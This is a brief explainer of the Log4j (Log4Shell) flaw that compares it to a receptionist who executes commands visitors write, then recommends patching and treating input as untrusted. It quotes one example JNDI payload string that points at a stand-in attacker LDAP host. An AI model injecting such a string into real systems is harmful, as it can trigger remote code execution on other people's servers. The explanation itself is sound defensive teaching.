Imagine your company has a receptionist who greets every visitor and logs their name into a guestbook.

Now, picture that instead of just writing down names, this receptionist executes commands based on what the visitor writes. One day, someone walks in and says, “Hi, I’m ${runThisMaliciousCode},” and the receptionist actually runs that command without question—maybe unlocking doors, sending confidential files, or even deleting security footage.

This is what the Log4j vulnerability (Log4Shell) was like.

Log4j is a Java logging library used by thousands of applications. It’s meant to write logs, just like the receptionist records names. But due to a flaw, if someone slipped a cleverly crafted string into the logs, it could trigger remote code execution. In other words, attackers could make the system run any command they wanted.

Example: The attacker crafts a malicious string (payload) such as “${jndi:ldap://malicious.example.com/ExploitPayload}”, The JNDI lookup feature then initiates a connection to the attacker’s LDAP server (malicious.example.com in this example).

The fix? Teach the receptionist to never take action based on what a visitor says; just write it down. In technical terms, patch the library, disable risky features, and audit everywhere logs are taken.

Lesson? Logging should be passive. Always treat untrusted input as dangerous, and don’t let your software “do something” just because it was told to record a name.